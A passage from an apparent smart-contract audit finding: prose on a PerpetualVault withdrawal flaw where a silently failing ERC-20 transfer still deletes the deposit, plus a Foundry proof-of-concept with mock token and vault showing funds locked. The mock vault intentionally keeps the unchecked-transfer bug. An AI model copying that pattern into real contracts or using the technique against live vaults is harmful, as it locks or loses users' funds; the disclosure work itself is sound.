Consequently, if the second transfer call silently fails (for example, if a non-standard ERC-20 returns false instead of reverting), the contract’s final state shows the deposit “withdrawn,” while the tokens remain stuck in the PerpetualVault without a recognized owner. This locking scenario is permanent because the user’s deposit record has been deleted and totalDepositAmount has been reduced.
By allowing a withdrawal to be marked complete even when tokens remain in the PerpetualVault, it permanently locks user collateral and corrupts overall vault accounting. Attackers or erroneous ERC-20 tokens can exploit this flaw to render deposits unclaimable, forcibly hurting both the victim’s and the protocol’s balances with no built-in mechanism to restore correct state.
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {KeeperProxy} from "../contracts/KeeperProxy.sol";
import {PerpetualVault} from "../contracts/PerpetualVault.sol";
import {VaultReader} from "../contracts/VaultReader.sol";
import {MarketPrices, PriceProps} from "../contracts/libraries/StructData.sol";
import {MockData} from "./mock/MockData.sol";
import {Error} from "../contracts/libraries/Error.sol";
contract MockFailingToken is ERC20 {
bool public failTransfers;
bool public revertOnFail;
address public treasuryAddress;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
failTransfers = false;
revertOnFail = true;
}
function setFailBehavior(bool _failTransfers, bool _revertOnFail) external {
failTransfers = _failTransfers;
revertOnFail = _revertOnFail;
}
function setTreasury(address _treasury) external {
treasuryAddress = _treasury;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function decimals() public pure override returns (uint8) {
return 6;
}
function transfer(address to, uint256 amount) public override returns (bool) {
if (failTransfers && to != treasuryAddress) {
if (revertOnFail) {
revert("Transfer failed");
} else {
return false;
}
}
return super.transfer(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
if (failTransfers && to != treasuryAddress) {
if (revertOnFail) {
revert("Transfer failed");
} else {
return false;
}
}
return super.transferFrom(from, to, amount);
}
}
contract MockPerpetualVault {
using SafeERC20 for IERC20;
struct DepositInfo {
address recipient;
uint256 amount;
uint256 depositTime;
}
IERC20 public collateralToken;
address public treasury;
mapping(uint256 => DepositInfo) public depositInfo;
mapping(address => uint256[]) public userDeposits;
uint256 public totalDepositAmount;
uint256 public governanceFee = 1000;
uint256 public constant BASIS_POINTS_DIVISOR = 10000;
uint256 public lockTime = 1 days;
event TokenTranferFailed(address recipient, uint256 amount);
constructor(address _token, address _treasury) {
collateralToken = IERC20(_token);
treasury = _treasury;
}
function deposit(uint256 amount) external payable {
require(amount > 0, "Amount must be greater than 0");
collateralToken.transferFrom(msg.sender, address(this), amount);
uint256 depositId = uint256(keccak256(abi.encodePacked(
msg.sender,
amount,
block.timestamp,
userDeposits[msg.sender].length
)));
depositInfo[depositId] = DepositInfo({
recipient: msg.sender,
amount: amount,
depositTime: block.timestamp
});
userDeposits[msg.sender].push(depositId);
totalDepositAmount += amount;
}
function withdraw(address recipient, uint256 depositId) external payable {
DepositInfo storage deposit = depositInfo[depositId];
require(deposit.recipient == msg.sender, "Not deposit owner");
require(block.timestamp >= deposit.depositTime + lockTime, "Locked");
_transferToken(depositId, deposit.amount);
_burn(depositId);
}
function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {}
catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
}
totalDepositAmount -= depositInfo[depositId].amount;
}
function _burn(uint256 depositId) internal {
address user = depositInfo[depositId].recipient;
uint256[] storage deposits = userDeposits[user];
for (uint256 i = 0; i < deposits.length; i++) {
if (deposits[i] == depositId) {
deposits[i] = deposits[deposits.length - 1];
deposits.pop();
break;
}
}
delete depositInfo[depositId];
}
function getUserDeposits(address user) external view returns (uint256[] memory) {
return userDeposits[user];
}
function setLockTime(uint256 _lockTime) external {
lockTime = _lockTime;
}
}
contract WithdrawalAccountingPOC is Test, ArbitrumTest {
MockFailingToken token;
MockPerpetualVault vault;
address alice;
address treasury;
event TokenTranferFailed(address recipient, uint256 amount);
function setUp() public {
alice = makeAddr("alice");
treasury = makeAddr("treasury");
token = new MockFailingToken("Mock USDC", "mUSDC");
token.setTreasury(treasury);
vault = new MockPerpetualVault(address(token), treasury);
payable(alice).transfer(1 ether);
token.mint(alice, 1e12);
}
function test_Y2_WithdrawalAccountingWithFailedTransfers() external {
console.log("\n=== INITIAL SETUP ===");
console.log("Step 1: Prepare mock token and vault");
uint256 depositAmount = 1e10;
console.log("\nStep 2: Alice deposits into the vault");
vm.startPrank(alice);
token.approve(address(vault), depositAmount);
vault.deposit(depositAmount);
vm.stopPrank();
uint256[] memory depositIds = vault.getUserDeposits(alice);
uint256 depositId = depositIds[0];
console.log("Deposit ID:", depositId);
console.log("Vault collateral balance:", token.balanceOf(address(vault)));
console.log("Total deposit amount:", vault.totalDepositAmount());
console.log("\n=== DEMONSTRATE VULNERABILITY ===");
console.log("Step 3: Configure token to fail silently on transfers (return false instead of reverting)");
token.setFailBehavior(true, false);
console.log("\nStep 4: Set lock time to 0 for immediate withdrawal");
vault.setLockTime(0);
console.log("\nStep 5: Alice attempts to withdraw her deposit");
uint256 aliceBalanceBefore = token.balanceOf(alice);
vm.startPrank(alice);
emit TokenTranferFailed(alice, depositAmount);
vault.withdraw(alice, depositId);
vm.stopPrank();
console.log("\n=== VERIFY VULNERABILITY IMPACT ===");
console.log("Step 6: Check the final state");
uint256 aliceBalanceAfter = token.balanceOf(alice);
uint256 vaultBalanceAfter = token.balanceOf(address(vault));
uint256 treasuryBalanceAfter = token.balanceOf(treasury);
depositIds = vault.getUserDeposits(alice);
console.log("Alice's balance change:", aliceBalanceAfter - aliceBalanceBefore);
console.log("Vault collateral balance:", vaultBalanceAfter);
console.log("Treasury balance:", treasuryBalanceAfter);
console.log("Alice's deposit IDs count:", depositIds.length);
console.log("Total deposit amount:", vault.totalDepositAmount());
assertEq(aliceBalanceAfter - aliceBalanceBefore, 0, "Alice didn't receive any tokens");
assertTrue(vaultBalanceAfter >= depositAmount, "Tokens still in vault despite 'completed' withdrawal");
assertEq(depositIds.length, 0, "Alice's deposit was removed from the system");
assertEq(vault.totalDepositAmount(), 0, "Total deposit amount is now zero");
console.log("\nStep 7: Demonstrate inability to recover funds");
vm.startPrank(alice);
vm.expectRevert();
vault.withdraw(alice, depositId);
vm.stopPrank();
console.log("\n=== CONCLUSION ===");
console.log("Vulnerability demonstrated: Withdrawal accounting completes even when token transfer fails");
console.log("Result: Alice's tokens are permanently locked in the contract with no way to recover them");
console.log("Vault collateral balance:", vaultBalanceAfter);
console.log("Accounting total deposit amount:", vault.totalDepositAmount());
console.log("Accounting discrepancy:", vaultBalanceAfter - vault.totalDepositAmount());
}
}